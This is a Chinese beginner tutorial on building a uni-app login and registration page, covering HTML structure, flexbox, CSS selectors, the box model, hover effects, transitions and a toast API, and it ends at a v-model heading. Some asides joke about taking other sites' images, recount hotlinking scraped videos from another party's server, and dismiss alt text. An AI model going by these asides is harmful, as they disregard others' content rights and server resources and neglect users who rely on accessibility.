序言
前言
如果学到这里说明你应该已经掌握了html、css、JavaScript,不过都是零散的知识点,如果真的要让你做个APP出来,估计还是有难度,没关系,我先带你做一个入门级别的项目,通过这个项目,我们可以将以前学习的零散的知识点全部串起来。
页面一、登录注册页面
1.环境配置
打开HBuilder X,点左上角的文件,新建一个项目,选择uniapp中的默认模板即可,项目名称随便取一个好了,就是这么简单。
如果自己在家想学习的,就去下个软件安装就完事了,https://www.dcloud.io/hbuilderx.html ,一直下一步下一步就装好了,绝对比你安装游戏简单。
注意:我在机房已经安装帮你们都安装好了,你们打开就可以直接写代码,有同学问上面那个链接怎么访问不了,那个是外网的官网地址,机房没有开外网,你当然访问不了,但是如果你在家里也想学习的话,就可以通过官网下载软件自学。
答疑:有同学又问我的这个网站为什么在机房可以访问,但是在家又打不开,这是因为我的网站是部署在学校内网的,内网是只有学校内部才可以访问,但是有同学在家也想学习,于是我将网页部署到一台公网服务器上了,你可以通过公网域名:xiaolily.cn访问,域名服务器这些东西都是要花钱的,但只要你肯学习一切都值。
2.初始项目
pages目录中放的是我们的页面文件,项目自动帮我们创建好了一个index目录,index就是首页的意思,我们找到其中的index.vue,双击它,然后再点击右上角的预览,我们就可以先看到初始项目中别人帮我们写好的一个参考案例是长什么样的。
我们先分析一下网页结构吧,前端分为三件套。
| 三件套 | 作用 | 所属区域 |
|---|---|---|
| html | 网页结构,相当于房屋主体结构 | <template></template> |
| css | 网页样式,相当于房子里的装修 | <style></style> |
| JavaScript | 脚本语言,复制复杂的交互逻辑,用来给网页增加动态功能,相当于房子里的家电 | <script></script> |
因为html、css和JavaScript处于同一个文件里,它们都有属于自己的区域,不然就乱套了,就像不同专业的同学是在不同的班级上课,参考上述表格,例如html需要写在<template></template>标签里。
现在我们就开始写我们的第一个程序吧,按照不成文的惯例,我们的第一个程序毫无疑问都是要写一个hello Word,但是每个网页都要有一个主体的结构,一般我们会使用body标签,body标签表示网站的主体内容,我们输入以下代码,点击右上角的预览按钮打开内置浏览器,并同时按下ctrl+s保存,这样就可以在内置浏览器中看到效果了。
<template>
<body>
helloWorld
</body>
</template>
易错点:body标签只能有一个,因为每个页面只能有一个主体的标签,否则会报错。
以下代码会报错,因为有两个主体的标签。
<template>
<body>
helloWorld
</body>
<body>
helloWorld
</body>
</template>
3.基础布局
我们试一试如果不做布局,就直接把要用的标签直接放上去,是什么样的效果。
<template>
<body>
<!-- 标题标签 -->
<h3>用户注册</h3>
<!-- 图片标签 -->
<image src="../../static/iloli.gif" mode=""></image>
<!-- 输入标签 -->
<input type="text" />
<!-- 按钮标签 -->
<button @click="zhuce()">注册</button>
</body>
</template>
<script>
export default {
data() {
return {
title: "Hello"
}
},
onLoad() {
},
methods: {
zhuce(){
alert("注册成功")
}
}
}
</script>
<style>
</style>
提问:这样的网页你觉得好看吗?你给打几分?
第一步一般都是先规划好网页的布局,那就来分析一下整个页面的布局吧,就是最外层的容器body,页面是一个最简单的从上到下的布局,简单来说就是竖着排,从上到下依次是标题栏,图片区域,输入区域,登录按钮。
<template>
<!-- 网页主体 -->
<body>
<!-- 标题区域 -->
<div class="title_section"></div>
<!-- 图片区域 -->
<div class="image_section"></div>
<!-- 用户输入区域 -->
<div class="input_secition"></div>
<!-- 按钮区域 -->
<div class="button_section"></div>
</body>
</template>
<style>
.title_section{
width: 100vw;
height: 10vh;
background-color: antiquewhite;
}
.image_section{
width: 100vw;
height: 25vh;
background-color: darkgray;
}
.input_secition{
width: 100vw;
height: 30vh;
background-color: darkseagreen;
}
.button_section{
width: 100vw;
height: 20vh;
background-color: pink;
}
</style>
在这段代码中,我们还用了四个div标签划分了四个主要区域,并分别取了类名,比如给标题栏栏添加了类名class="title_seciton",因为一会我们要去给他们分别写样式,比如头顶区域占多宽,背景颜色是什么,我们当然需要给它取个名,以便我们可以通过名字定位到这个元素。就像我可以给你们每个人安排一个学号,我可以通过学号叫你起来回答问题。
之后我们用.title_section选中标题区域,.就是类名选择器,给它添加样式,比如说width: 100vw;表示宽占100vw,vw是什么单位呢?一个屏幕的宽总共分成100个vw,100vw就表示整个屏幕宽。接下来你应该可以推断出一个屏幕的高分成100个vh,10vh就表示占整个屏幕的10%。
提问:这里我为什么不用px像素呢?用像素有什么不好?
答疑:另外我为了让大家更清楚看到我们划分好的区域,我用background-color: white;指定了背景颜色,当然我们项目正式上线之后,这个背景颜色是不需要的。
4.行内样式
运行之后这么一看好像没毛病对吧,每个元素都很明确分配了高度,但是你不能只考虑正常的情况,我们来做一个实验,如果屏幕高度不够的情况的话会发生什么事情。
<template>
<!-- 网页主体 -->
<body style="height: 50vh;">
<!-- 标题区域 -->
<div class="title_section"></div>
<!-- 图片区域 -->
<div class="image_section"></div>
<!-- 用户输入区域 -->
<div class="input_secition"></div>
<!-- 按钮区域 -->
<div class="button_section"></div>
</body>
</template>
<style>
.title_section{
width: 100vw;
height: 10vh;
background-color: antiquewhite;
}
.image_section{
width: 100vw;
height: 25vh;
background-color: darkgray;
}
.input_secition{
width: 100vw;
height: 30vh;
background-color: darkseagreen;
}
.button_section{
width: 100vw;
height: 20vh;
background-color: pink;
}
</style>
在上面这段代码中,我们给body标签通过行内样式设置了height为50vh,行内样式就是直接给这个标签元素写样式,语法就是你想给这个标签写样式,你就在这个标签的开始标签里加上style="",在这里面你就可以写上你想添加的样式。
提问: 通过行内样式去给元素添加样式显然非常方便,但是这样做的弊端是什么?
我们再保存看一下效果,你主要观察一下,有没有发现,因为总的高度body只有整个屏幕高度的一半,最后一个区域直接显示不出来了。
5.弹性盒子布局
我们从刚才的以上的案例发现,如果总的高度不够,传统布局下,有的区域是显示不出来的,这样的布局存在明显的弊端,现在都基本不用了。
接下来我们使用一下弹性盒子。
<template>
<!-- 网页主体 -->
<body style="height: 50vh;display: flex;flex-direction: column;">
<!-- 标题区域 -->
<div class="title_section"></div>
<!-- 图片区域 -->
<div class="image_section"></div>
<!-- 用户输入区域 -->
<div class="input_secition"></div>
<!-- 按钮区域 -->
<div class="button_section"></div>
</body>
</template>
<style>
.title_section{
width: 100vw;
height: 10vh;
background-color: antiquewhite;
}
.image_section{
width: 100vw;
height: 25vh;
background-color: darkgray;
}
.input_secition{
width: 100vw;
height: 30vh;
background-color: darkseagreen;
}
.button_section{
width: 100vw;
height: 20vh;
background-color: pink;
}
</style>
你发现区别了吗?我们在刚才的基础上,给body标签多加了两行代码,display: flex;是指摆放的方式为弹性盒子布局排列,排列的方向默认是横向的,在我们这个项目中,四个区域应该是从上到下排列的,所以还需要加上flex-direction: column;意思是排列的方向是纵向的。
| 弹性盒子排列方向 | 横向 | 纵向 |
|---|---|---|
| flex-direction | row | column |
发现区别了吗?是不是四个区域都显示出来了,这就是弹性盒子所谓的“弹性”,如果空间够的话当然没问题,如果空间不够的时候,你让我一点,我让你一点,咱们稍微挤一挤,是不是日子也能凑合过下去。
易错点:有同学设置了弹性盒子的排列方向,然后问我为什么没有生效,请你检查一下有没有先设置摆放的方式为弹性盒子(display:flex)
6.弹性盒子对齐方式
接下来我们开始从上到下,开始写代码吧,首先是标题栏,我们先讲一讲标题标签吧
标题栏中有两个元素,一个是左边的登录文字,另外一个是右边的关闭按钮,这两个元素应该是处于同一行的。
- 提问:标题栏的两个元素应该是横着排,还是竖着排?
但是我们发现这两个元素靠在一起的,我们其实希望他们能够纵向居中,横向分布到两边对齐(如果不清楚的话自己看看设计图长什么样,照着设计图做)。<!-- 标题区域 --> <div class="title_section" style="display: flex;flex-direction: row;"> <h3>用户登录</h3> <h3>X</h3> </div>
主轴方向的对齐和副轴方向的对齐分别由justify-content和align-items控制。
| justify-content align-items的属性 | 作用 |
|---|---|
| flex-start | 弹性项目向行头紧挨着填充 |
| flex-end | 弹性项目向行尾紧挨着填充 |
| center | 弹性项目居中紧挨着填充 |
| space-between | 弹性项目平均分布在该行上 |
| space-around | 弹性项目平均分布在该行上,两边留有一半的间隔空间 |
这里多应该选哪一个呢?我也不知道哦,自己都去试一下,看看哪个更合适一点,之所谓书上得来终觉浅,绝知此事要躬行。
<!-- 标题区域 -->
<div class="title_section" style="display: flex;flex-direction: row;align-items: center;justify-content: space-around;">
<h3>用户登录</h3>
<h3>X</h3>
</div>
其中flex-direction: row;的意思是弹性盒子的排列方向是横向,其实网页元素基本就是竖着排和横着排两种。
7.标题标签
另外你可能还注意到一件事情,我在这里用到了h3标签,h开头的标题标签,这样吧,你来试试下面这段代码,自己找找规律,然后来教我,我的教学观念就是,知识是你们自己发现的,不是靠教师灌输的,自己要去多练,要敢于尝试、大胆探索。我顶多就是起个引导的作用,遇到问题答疑一下,其实有我没我都差不多。
<body>
<h1>登录</h1>
<h2>登录</h2>
<h3>登录</h3>
<h4>登录</h4>
<h5>登录</h5>
</body>
8.快捷键
敲完代码双击一下.html文件看一下效果吧,怎么样?聪明的你发现区别了吗?是不是几级标题就是h几,是不是很简单呢?有同学可能会问,有没有h100呢?这个我也不知道,你如果有好奇心的就自己去试一下,有好奇心的同学走得更远。
提问:我如果觉得字太大了,我想改小一点,应该怎么办呢?
html就是各种标签的应用,我们几个项目做下来,常用的都掌握得差不多了,至于那种你做二十个项目还用不到一次得冷门标签,既然都用不到,那你学它干嘛,不学也罢。
另外我知道,学到这里班级里已经形成CV党势力,就全程复制粘贴,好像打一点代码会被手指累断。因为他觉得这么简单的代码,看都看会了,何必去打?但是哪有不打代码的程序员,打这些代码也是有技巧的,我们要多去使用快捷键,快速打完代码,不然会让别人觉得我们不专业。我这里先教一点简单的技巧。
ctrl+z:撤销
ctrl+y:反撤销(就是后悔撤销了)
ctrl+x:剪切一行
ctrl+shift+k: 删除多行
**alt+z:**自动换行
ctrl+/: 注释代码
好了,讲了这么多,我把代码全部贴出来,大家看看吧,记得不要复制哦。
<template>
<!-- 网页主体 -->
<body style="display: flex;flex-direction: column;">
<!-- 标题区域 -->
<div class="title_section" style="display: flex;flex-direction: row;align-items: center;justify-content: space-around;">
<h3>用户登录</h3>
<h3>X</h3>
</div>
<!-- 图片区域 -->
<div class="image_section"></div>
<!-- 用户输入区域 -->
<div class="input_secition"></div>
<!-- 按钮区域 -->
<div class="button_section"></div>
</body>
</template>
<style>
.title_section{
width: 100vw;
height: 10vh;
background-color: antiquewhite;
}
.image_section{
width: 100vw;
height: 25vh;
background-color: darkgray;
}
.input_secition{
width: 100vw;
height: 30vh;
background-color: darkseagreen;
}
.button_section{
width: 100vw;
height: 20vh;
background-color: pink;
}
</style>
怎么样,累吗?我们终于把标题栏写好了,有没有感觉松了一口气呢,没想到看上去这么简单的东西其中却包含了很多的知识点,其中还有一些深入的内容我先不给大家介绍了,我们先学会简单的应用即可,随着我们项目的积累,我会越来越深入地带大家了解掌握。
9.偷图片小技巧
下面是一张呆萌图片,等等,你如果问我是不是老二次元,我只能回答:NONONO!,我只是浏览别人的网站总习惯随手拿点什么东西,图片、CSS、JS、甚至接口,偷?噢你怎么会想到这样的词汇,来侮辱神圣的爬虫,爬虫不能算偷……爬虫!……程序员的事,能算偷么!?所谓自己动手,丰衣足食,别想着这些素材我都给你们,现在我只是教你们通过开发工具的小技巧获取别人的图片,如果有机会的话,你会学到我精心设计的爬虫课程,那时候我们可以把别人的网站“扒”得更干净,效率更强。
按下F12打开浏览器开发者工具,然后根据左上角的定位工具,定位到图片元素所在的标签,然后复制其中的src属性中的地址,怎么样,你找对了吗?
10.图片标签
等等,我们好像已经学会了图片标签,还记得刚才我们去拿别人图片看到的吗?是不是用的img标签,然后其中有个src属性,你应该也能猜到,这个src属性就是指的是图片的地址。
但是别激动,我知道有同学已经写好代码了,但是别忘了,我们第一步是先设计好布局,这个图片的区域实际上是包括两部分的,上面是一张图片,下面是一句欢迎语,聪明的你可以告诉我,这两部分应该是横向排列还是纵向排列,好了,我把代码贴上来,你看看你写对了吗?
<!-- 图片区域 -->
<div class="image_section" style="display: flex;flex-direction: column;align-items: center;justify-content: center;">
<image style="width: 100px;height: 100px;" src="../../static/logo.png" mode=""></image>
<h4>Hi、请登录</h4>
</div>
以上代码有几点我们需要注意
- 图片请你放到自己的项目文件夹里,static目录是专门用来放网站的静态资源的,就是图片视频这种东西,然后在网页中应该如何引用呢,
static/angry.gif表示的就是项目文件夹里的static目录下的angry.gif文件,alt属性是说如果因为网络问题加载失败,或者盲人模式这张图片不显示的时候,给用户一段提示,你可以写图片加载失败,但是我一般比较懒,就不写了,图片加载失败就看不见呗,懒得给用户提示了。 - 有同学说,我发现就直接复制的链接也可以用,根本不需要保存到本地这么麻烦,我简直是天才,我只能说你这样的行为叫做盗链,并不高端也不光彩,但这事我也干过,之前我帮一个人做在线网课平台,那个人是一个补习班的老板,视频靠爬虫就算了,服务器也买不起,我只能把视频放到别人的服务器,然后盗链播放,如果你听不懂的话,那就不要琢磨了,什么知识都学只会害了你。总之就是不要偷我的链接,偷了我的图片还要占用我服务器的带宽流量资源,有点不合适。
- 标题标签还记得吧,但是不要那么大,我觉得四级标题挺合适。
11.代码优化
之前在讲行内样式的时候提了一个问题:通过行内样式去给元素添加样式显然非常方便,但是这样做的弊端是什么?
其实做到这一步大家也发现了,行内样式需要把代码写到同一行上,看上去不好看,维护起来也恶心,代码的复用性还很差,我们做了很多重复性的工作,因为几乎每个区域都要写一遍弹性盒子布局的样式。
内部样式与行内样式的优缺点对比
- 内部样式:简单来说就是把样式统一写到
<style>标签里,叫做内部样式,这样的好处是html和css是分开的,这样显得比较整洁,而且样式可以重复使用。 - 行内样式:直接在标签中加上
style="",就可以给这个标签添加样式了,不需要取名,好处是非常快,缺点上面也说了。
我们现在对代码做亿点优化。
<template>
<!-- 网页主体 -->
<body class="flex_column">
<!-- 标题区域 -->
<div class="title_section flex_row">
<h3>用户登录</h3>
<h3>X</h3>
</div>
<!-- 图片区域 -->
<div class="image_section flex_column">
<image style="width: 100px;height: 100px;" src="../../static/logo.png" mode=""></image>
<h4>Hi、请登录</h4>
</div>
<!-- 用户输入区域 -->
<div class="input_secition"></div>
<!-- 按钮区域 -->
<div class="button_section"></div>
</body>
</template>
<style>
.title_section{
width: 100vw;
height: 10vh;
background-color: antiquewhite;
}
.image_section{
width: 100vw;
height: 25vh;
background-color: darkgray;
}
.input_secition{
width: 100vw;
height: 30vh;
background-color: darkseagreen;
}
.button_section{
width: 100vw;
height: 20vh;
background-color: pink;
}
/* 弹性盒子横着排 */
.flex_row{
display: flex; /* 排列方式:弹性盒子 */
flex-direction: row;/*排列方向:横向*/
justify-content: center;/*主轴居中*/
align-items: center;/*副轴居中*/
}
/* 弹性盒子竖着排 */
.flex_column{
display: flex; /* 排列方式:弹性盒子 */
flex-direction: column;/*排列方向:纵向*/
justify-content: center;/*主轴居中*/
align-items: center;/*副轴居中*/
}
</style>
在这里我提前准备了两个样式,一个是弹性盒子横着排,一个是弹性盒子竖着排,如果我想把哪个盒子设为弹性盒子,我就把这个标签的class设为flex_row或者flex_column。
重点口诀:
- 横盒(横向的弹性盒子)里的东西横着排
- 竖盒(纵向的弹性盒子)里的东西竖着排
12.CSS的优先级
我们运行上面的代码其实又发现一点问题,就是我准备的两个弹性盒子样式,对齐的方式都是默认居中的,但是标题区域主轴方向应该是分布到两边对齐的。
遇到这种情况先看看我的解决方案吧。
<!-- 标题区域 -->
<div class="title_section flex_row" style="justify-content: space-around;">
<h3>用户登录</h3>
<h3>X</h3>
</div>
我们在内部样式flex_row中定义了justify-content: center;,然后在行内样式中又定义了justify-content: space-around;,两个不一致的时候它到底听谁的,这个就涉及到优先级的问题,优先级为行内样式>内部样式=外部样式,总结来说就是离标签元素越近,优先级越高。
总结:因为行内样式优先级更高,我们通过行内样式,修改了它的对齐方式为分布对齐。
13.输入标签
我们先试一下下面这段代码,我们在用户输入区域加上了一个input输入框。
<!-- 用户输入区域 -->
<div class="input_secition">
<input type="text" />
</div>
但是我们发现这个输入框确实可以用,但是一点都不好看。
我们还需要对其做一些优化才行,仔细看看,和我做的还有什么区别吗?是不是还有输入框中的提示文字没有,这个效果是怎么实现的呢,其实input标签中的placeholder属性就是用来设置提示文字的。
<!-- 用户输入区域 -->
<div class="input_secition">
<input type="text" placeholder="请输入用户名"/>
<input type="text" placeholder="请输入密码"/>
</div>
我们放了两个输入框上去,分别是用户名输入框和密码输入框,你可以输入一下试一下,仔细和设计图对比,发现问题了吗?
密码输入框所输入的内容是不是应该隐藏起来,而不是直接显示出来,这样容易被别人窥屏,非常不安全。
修改的方法也非常容易,就是将密码输入框的type改成password就可以了。
<!-- 用户输入区域 -->
<div class="input_secition">
<input type="text" placeholder="请输入用户名"/>
<input type="password" placeholder="请输入密码"/>
</div>
有细心的同学可能发现了,输入标签和我的有一点点区别,输入框周围没有边框,但是其实也不影响我们使用,只是用户用上去的体验不会太好罢了,所以为什么我们要用css对样式进行美化装修,程序员不仅是建造师,也是艺术家,要有一定的审美水平。
我们来做一下输入框的边框吧。
14.内边距、边框、外边距
讲到边距的话我们干脆来讲一下盒子模型吧,课本上这部分内容要讲几节课,其实就是三个东西,内边距,边框,外边距,直接运行代码大家感受一下吧。
<style>
input{
padding: 10px;
border: 1px solid black;/*1像素粗细 实线 黑色*/
margin: 10px;
}
</style>
border是设置边框的属性,我们需要分别设置边框的粗细,类型和颜色,在上面这个案例中,我设置边框为1个像素的黑色实线,你如果觉得太细了,或者想换成别的颜色也可以自己修改一下,还可以设置为虚线类型(dotted)的边框。
观察一下上面这段代码,我增加了三行代码以及注释,体会到内边距、边框、和外边框的作用了吗?
总结一下吧。
| css属性 | 作用 |
|---|---|
| margin | 外边距 |
| border | 边框 |
| padding | 内边距 |
但是我们发现直接设置padding的话,是四周都有边距,但是我们想要左边的内边距多一点,应该怎么办呢?大家观看表格自己解决。
| css属性 | 作用 |
|---|---|
| padding-top | 设置上边距 |
| padding-bottom | 设置下边距 |
| padding-right | 设置右边距 |
| padding-left | 设置左边距 |
<style>
input{
padding: 10px;
padding-left: 20px;
border: 1px solid black;
margin: 10px;
}
</style>
padding我用了简写的方式,因为我想要上下的边距小,左右的边距大,如果四个方向一一设置就太麻烦了,可以通过padding:上下 左右,来设置两个方向的边距,也可以设置四个方向的边距,顺序依次是padding:上 左 下 右
15.标签选择器
对了,差点忘了,还有个事情忘了说,大家发现input前面怎么没有.,为什么和别的不一样,因为我这里使用了标签选择器,是给所有的input标签设置样式。给大家归纳一下。
| css选择器 | 示例 |
|---|---|
| 类选择器 | .input_box可以选中所有<div class="input_box"> |
| 标签选择器 | input可以选中所有<input>标签 |
之后还有什么id选择器,伪类选择器,以后遇到再说吧,说多了怕你晕。
16.输入区域布局
<!-- 用户输入区域 -->
<div class="input_secition flex_column">
<!-- 用户名和用户名的输入框 -->
<div class="flex_row">
<p>用户名:</p>
<input type="text" placeholder="请输入账号"/>
</div>
<!-- 密码和密码的输入框 -->
<div class="flex_row">
<p>密码:</p>
<input type="password" placeholder="请输入密码"/>
</div>
</div>
输入区域的布局稍微复杂一点,我们在布局的时候一般会把类似的东西当作是一个box,比如文字+输入框就是一个盒子,这里我姑且称它为输入盒,输入盒中的两个元素是横向排列的,两个输入盒之间又是纵向排列的,应该不是很绕,你理清楚了吗?
17.button标签
<template>
<body>
<button class="login_button">登录</button>
</body>
</template>
<style>
.login_button{
/* 设置按钮的宽度 */
width: 100px;
/* 设置按钮的背景颜色 */
background-color: #ecf5ff;
/* 设置文字的颜色 */
color: #5eadff;
/* 调整按钮的字体粗细 */
font-weight: 700;
/* 加上按钮的边框 */
border: #5eadff 1px solid;
}
</style>
18.伪类选择器(:hover)
伪类选择题是用来选中一些特殊的状态,我这里就带大家做一个最常见的效果,选中鼠标悬浮在元素上的状态(:hover)
对比一下设计图,我现在现在还差最后一个效果,就是当鼠标悬浮在这个按钮上面的时候,按钮的颜色会发生变化,这个效果是怎么实现的呢?
<template>
<body>
<button class="login_button">登录</button>
</body>
</template>
<style>
.login_button{
/* 设置按钮的宽度 */
width: 100px;
/* 设置按钮的背景颜色 */
background-color: #ecf5ff;
/* 设置文字的颜色 */
color: #5eadff;
/* 调整按钮的字体粗细 */
font-weight: 700;
/* 加上按钮的边框 */
border: #5eadff 1px solid;
}
/* 选中鼠标悬浮到登录按钮上的状态 */
.login_button:hover{
background-color: #409eff;
color: white;
}
</style>
鼠标放上去我希望按钮能够改变颜色,我用到了伪类选择器:hover,:hover可以给元素添加鼠标悬停时的效果。
注意:预览的时候请使用PC模式预览,不要用手机端,因为手机上是没有鼠标的,所以我们如果是开发APP的话,是不用考虑这个鼠标悬浮效果的。
19.过渡
学习了:hover之后,我们可以做很多好玩的事情,比如当鼠标悬停到标题区域的时候,将标题区域拉长一点,并且再换一个背景颜色,都是我们学习过的知识,只是简单组合起来应用一下,怎么样,有想法了吗?
<style>
.title_section:hover{
height: 300px;
background-color: #409eff;
}
</style>
现在的问题就是,当鼠标放上去的时候,咣,很快的啊,一瞬间就看到效果了,比较突兀,比马保国的闪电五连鞭还快,我们希望这个效果能够柔和一点,不要那么快,应该怎么做呢?这个时候我们要学习一个新的知识叫过渡
过渡通过transition属性来设置,分别要设置过渡的持续时间、过渡的类型,能够过渡的属性
- 过渡的持续时间
用s(秒)做单位就行了,分别设置0.1s和10s看一下有什么区别吧。
- 过渡的类型
| 属性值 | 含义 |
|---|---|
| ease | 平滑过渡 —— 默认值 |
| linear | 线性过渡 |
| ease-in | 慢 → 快 |
| ease-out | 快 → 慢 |
- 能够过渡的属性
| 属性值 | 含义 |
|---|---|
| none | 不过渡任何属性 |
| all | 过渡所有能过渡的属性 |
| 具体某个属性名 | 例如: width 、 heigth ,若有多个以逗号分隔。 |
例如:transition: 1s linear all;一秒钟的线性变化,针对所有的属性
当然也可以写得更简单一些,只写一个时间,另外两个值可以不写,会有缺省值。
简写:transition: 1s
我们先看一下效果再分析吧
<template>
<!-- 网页主体 -->
<body class="flex_column">
<!-- 标题区域 -->
<div class="title_section flex_row" style="justify-content: space-around;">
<h3>用户登录</h3>
<h3>X</h3>
</div>
<!-- 图片区域 -->
<div class="image_section flex_column">
<image style="width: 100px;height: 100px;" src="../../static/logo.png" mode=""></image>
<h4>Hi、请登录</h4>
</div>
<!-- 用户输入区域 -->
<div class="input_secition flex_column">
<div class="flex_row">
<p>用户名:</p>
<input type="text" placeholder="请输入账号"/>
</div>
<div class="flex_row">
<p>密码:</p>
<input type="password" placeholder="请输入密码"/>
</div>
</div>
<!-- 按钮区域 -->
<div class="button_section flex_row">
<button class="login_button">登录</button>
</div>
</body>
</template>
<style>
.login_button{
/* 设置按钮的宽度 */
width: 100px;
/* 设置按钮的背景颜色 */
background-color: #ecf5ff;
/* 设置文字的颜色 */
color: #5eadff;
/* 调整按钮的字体粗细 */
font-weight: 700;
/* 加上按钮的边框 */
border: #5eadff 1px solid;
}
.login_button:hover{
background-color: #409eff;
color: white;
}
input{
border: 1px solid black;
margin: 10px;
padding: 10px;
}
.title_section{
width: 100vw;
height: 10vh;
background-color: antiquewhite;
transition: 1s linear all;
}
.title_section:hover{
height: 300px;
background-color: #409eff;
}
.image_section{
width: 100vw;
height: 25vh;
background-color: darkgray;
}
.input_secition{
width: 100vw;
height: 30vh;
background-color: darkseagreen;
}
.button_section{
width: 100vw;
height: 20vh;
background-color: pink;
}
/* 弹性盒子横着排 */
.flex_row{
display: flex; /* 排列方式:弹性盒子 */
flex-direction: row;/*排列方向:横向*/
justify-content: center;/*主轴居中*/
align-items: center;/*副轴居中*/
}
/* 弹性盒子竖着排 */
.flex_column{
display: flex; /* 排列方式:弹性盒子 */
flex-direction: column;/*排列方向:纵向*/
justify-content: center;/*主轴居中*/
align-items: center;/*副轴居中*/
}
</style>
注意:你希望哪个元素发生变化时不要那么突兀,能够慢慢变化,就给那个元素加上过渡的属性,不要加到:hover上去了
19+.transform变换
| 效果 | 属性 | 含义 |
|---|---|---|
| 位移 | translate | 一个值代表水平方向,两个值代表:水平和垂直方向。 |
| 缩放 | scale | 一个值代表同时设置水平和垂直缩 放;两个值分别代表:水平缩放、垂直缩放。 |
| 旋转 | rotate | 设置旋转角度,需指定一个角度值( deg ),正值顺时针,负值逆时针。 |
| 扭曲 | skew | 需指定一个角度值( deg ) |
<style>
.login_button{
/* 设置按钮的宽度 */
width: 100px;
/* 设置按钮的背景颜色 */
background-color: #ecf5ff;
/* 设置文字的颜色 */
color: #5eadff;
/* 调整按钮的字体粗细 */
font-weight: 700;
/* 加上按钮的边框 */
border: #5eadff 1px solid;
/* 记得加上过渡效果,不然变化得太快了 */
transition: 1s linear all;
}
.login_button:hover{
background-color: #409eff;
color: white;
/* 位移(往右位移100px,往下位移50px) */
/* transform:translate(100px,50px); */
/* 缩放(放大两倍) */
/* transform: scale(2); */
/* 旋转(旋转90度) */
/* transform: rotate(90deg); */
/* 扭曲(扭曲45度) */
/* transform: skew(45deg); */
/* 复合写法 */
transform:translate(100px,50px) scale(2) rotate(90deg) skew(45deg)
}
</style>
20.注册页面
等等,好像要先注册才能登录吧,应该先做注册页面的,这就是一开始没有梳理好开发的业务逻辑,盲目开始敲代码导致的,这就尴尬了,不,我这是故意设计的,就是为了让你感受这一点,正好让你们自己去把注册页面写出来,这是布置给你们的任务,对,就是这样。
右键pages目录,新建一个页面,默认勾选了创建同名目录,以及在pages.json中注册。(记得是新建页面,不是新建目录,因为只有新建好页面,他才会帮我们在pages.json中注册,如果它不帮我们注册,就只有我们自己注册,非常麻烦,pages.json是所有页面的配置文件,如果新页面没有在这个文件中注册,我们的项目是找不到这个页面的,就比如你如果要上大学,就必须先在教育部注册学籍)
代码我写好了,你可以参考一下,建议把那些花花绿绿的背景颜色去掉,那是为了给大家区分边界的。
<template>
<!-- 网页主体 -->
<body class="flex_column">
<!-- 标题区域 -->
<div class="title_section flex_row" style="justify-content: space-around;">
<h3>用户注册</h3>
<h3>X</h3>
</div>
<!-- 图片区域 -->
<div class="image_section flex_column">
<image style="width: 100px;height: 100px;" src="../../static/logo.png" mode=""></image>
<h4>Hi、请注册</h4>
</div>
<!-- 用户输入区域 -->
<div class="input_secition flex_column">
<div class="flex_row">
<p>用户名:</p>
<input type="text" placeholder="请输入账号"/>
</div>
<div class="flex_row">
<p>密码:</p>
<input type="password" placeholder="请输入密码"/>
</div>
<div class="flex_row">
<p>确认密码:</p>
<input type="password" placeholder="请再次输入密码"/>
</div>
</div>
<!-- 按钮区域 -->
<div class="button_section flex_row">
<button class="login_button">注册</button>
</div>
</body>
</template>
<style>
.login_button{
width: 50vw;
font-weight: bold;
}
.login_button:hover{
background-color: aquamarine;
}
input{
border: 1px solid black;
margin: 10px;
padding: 10px;
}
.title_section{
width: 100vw;
height: 10vh;
background-color: antiquewhite;
}
.image_section{
width: 100vw;
height: 25vh;
background-color: darkgray;
}
.input_secition{
width: 100vw;
height: 30vh;
background-color: darkseagreen;
}
.button_section{
width: 100vw;
height: 20vh;
background-color: pink;
}
/* 弹性盒子横着排 */
.flex_row{
display: flex; /* 排列方式:弹性盒子 */
flex-direction: row;/*排列方向:横向*/
justify-content: center;/*主轴居中*/
align-items: center;/*副轴居中*/
}
/* 弹性盒子竖着排 */
.flex_column{
display: flex; /* 排列方式:弹性盒子 */
flex-direction: column;/*排列方向:纵向*/
justify-content: center;/*主轴居中*/
align-items: center;/*副轴居中*/
}
</style>
其实就是改了几个字,然后加了一个输入框,因为注册需要确认密码,其实也不麻烦,两分钟就完事了。
21.页面跳转
我们写好注册页面之后,用户怎么样才能从登录页面跳转过来呢
<!-- 登录页面 -->
<navigator url="/pages/signup/signup">没有账号,立即注册</navigator>
22.鼠标点击事件
发送请求我们要用到JavaScript了,还记得一开始我们说的吗,JavaScript应该写在什么区域里,如果忘了回头看看那张表格。
其实项目一开始给我们生成了一些<script></script>的结构,但是当时我们嫌烦就删了,怎么办呢,没关系,我再给你们不就完事了吗?
<script>
export default {
data() {
return {
title: 'Hello'
}
},
onLoad() {
},
methods: {
}
}
</script>
我们先来做一个小实验吧,我们希望点击注册按钮的时候,给我们弹出一个提示框。
<template>
<!-- 登录按钮的区域 -->
<div class="button_section flex_column">
<button class="button" @click="signup()">注册</button>
</div>
</template>
<script>
export default {
data() {
return {
title: 'Hello'
}
},
onLoad() {
},
methods: {
signup(){
alert('你好')
}
}
}
</script>
在这段代码中,我们首先给注册按钮添加了一个点击事件@click="signup()",点击注册按钮会触发signup()事件,括号里面是空的是因为我们不需要传值,如果遇到需要传值的情况我们再说,然后我们在JavaScript中,methods表示方法事件,在这里定义各类事件具体是干什么的,同样,其他的先不管,后面我们都会用到。
我们在signup()方法中写了一个alert('你好'),这句代码的作用是弹一个对话框给我们看,内容是你好。
这是原生JavaScript的对话框,样式比较简单,现在已经很少有网站会用这么古老的对话框了,毕竟太丑了,一点都不上档次,我们接下来就教大家怎么去使用高端的对话框吧。
23.API调用初体验
<template>
<!-- 登录按钮的区域 -->
<div class="button_section flex_column">
<button class="button" @click="signup()">注册</button>
</div>
</template>
<script>
export default {
data() {
return {
title: 'Hello'
}
},
onLoad() {
},
methods: {
signup(){
uni.showToast({
title:'注册成功',
icon:'success',
duration:3000
})
}
}
}
</script>
我们在signup方法中调用了一个uni.showToastAPI,这个API的作用是弹出一个提示框,你需要的能够想到的任何API官方都会提供,你只需把参数设置一下就可以了,比如duration表示持续的时间,改改看看会有什么不同。
API是官方提供给我们的接口,他会有详细的手册供我们使用,放心,一定会简单到菜鸡都会用,如果太难了大家都不会,他怎么赚钱?
我们不需要知道他究竟是什么原理,我们只是应用程序的开发者,只需要会用就行了,就像你买了一个车子,车子的厂家提供了一些接口给你,就是方向盘刹车等等,虽然我们可能还是要经过简单的学习,但车子内部什么原理你绝对不需要了解,你又不是造车的,也不是修车的,当然,在程序界里造车的都是大佬,造车的人和开车的人的工资水平肯定不是一样的,造车明显难度大很多,当然工资也很高很高。
24.v-model数据双向绑定
